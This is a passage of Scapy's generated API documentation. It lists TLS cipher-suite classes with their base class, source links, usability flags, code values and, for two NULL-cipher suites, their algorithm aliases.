class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_SEED_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L537-L538]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 154

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L189-L190]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 11

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L197-L198]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 13

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L329-L330]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 48

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L385-L386]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 62

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L577-L578]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 164

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L353-L354]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 54

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_AES_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L425-L426]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 104

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L581-L582]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 165

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L401-L402]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 66

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L669-L670]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 187

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1021-L1022]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49282

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L453-L454]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 133

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L693-L694]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 193

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1025-L1026]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49283

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_DES_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L193-L194]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 12

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_DSS_WITH_SEED_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L525-L526]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 151

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L201-L202]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 14

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L209-L210]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 16

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L333-L334]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L389-L390]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 63

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L561-L562]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 160

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L357-L358]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 55

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_AES_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L429-L430]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 105

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L565-L566]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 161

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L405-L406]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 67

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L673-L674]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 188

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1005-L1006]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49278

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L457-L458]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 134

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L697-L698]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 194

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1009-L1010]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49279

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_DES_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L205-L206]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 15

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_RSA_WITH_SEED_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L529-L530]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 152

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L245-L246]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 25

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_EXPORT_WITH_RC4_40_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L237-L238]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 23

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L253-L254]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 27

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L345-L346]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L441-L442]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 108

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L585-L586]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 166

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L369-L370]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 58

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_AES_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L445-L446]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 109

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L589-L590]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 167

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L417-L418]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 70

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L685-L686]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 191

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1029-L1030]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49284

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L469-L470]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 137

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L709-L710]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 197

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1033-L1034]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49285

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_DES_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L249-L250]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 26

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_RC4_128_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L241-L242]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 24

	








	
class scapy.layers.tls.crypto.suites.TLS_DH_anon_WITH_SEED_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L541-L542]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 155

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L747-L748]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49160

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L751-L752]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49161

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L855-L856]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49187

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_128_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1189-L1190]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49324

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1197-L1198]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49326

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L887-L888]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49195

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L755-L756]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49162

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L859-L860]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49188

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_256_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1193-L1194]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49325

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1201-L1202]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49327

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L891-L892]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49196

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L957-L958]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49266

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1037-L1038]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49286

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L961-L962]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49267

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1041-L1042]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49287

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1223-L1224]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52393

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256_OLD(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1211-L1212]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52244

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L739-L740]

	Bases: _GenericCipherSuite


	
cipher_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L114-L132]

	alias of Cipher_NULL






	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L55-L57]

	alias of Hash_SHA






	
hmac_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L104-L105]

	alias of Hmac_SHA






	
key_block_len = 40

	




	
kx_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L114-L117]

	alias of KX_ECDHE_ECDSA






	
name = 'TLS_ECDHE_ECDSA_WITH_NULL_SHA'

	




	
usable = True

	




	
val = 49158

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L743-L744]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49159

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L923-L924]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49204

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L927-L928]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49205

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L935-L936]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49207

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L931-L932]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49206

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L939-L940]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49208

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1117-L1118]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49306

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1121-L1122]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49307

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1235-L1236]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52396

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L943-L944]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49209

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_NULL_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L947-L948]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49210

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_NULL_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L951-L952]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49211

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_PSK_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L919-L920]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49203

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L787-L788]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49170

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L791-L792]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49171

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L871-L872]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49191

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L903-L904]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49199

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L795-L796]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49172

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L875-L876]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49192

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L907-L908]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49200

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L973-L974]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49270

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1053-L1054]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49290

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L977-L978]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49271

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1057-L1058]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49291

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1219-L1220]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52392

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1207-L1208]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52243

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L779-L780]

	Bases: _GenericCipherSuite


	
cipher_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L114-L132]

	alias of Cipher_NULL






	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L55-L57]

	alias of Hash_SHA






	
hmac_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L104-L105]

	alias of Hmac_SHA






	
key_block_len = 40

	




	
kx_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L89-L92]

	alias of KX_ECDHE_RSA






	
name = 'TLS_ECDHE_RSA_WITH_NULL_SHA'

	




	
usable = True

	




	
val = 49168

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDHE_RSA_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L783-L784]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49169

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L727-L728]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49155

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L731-L732]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49156

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L863-L864]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49189

	








	
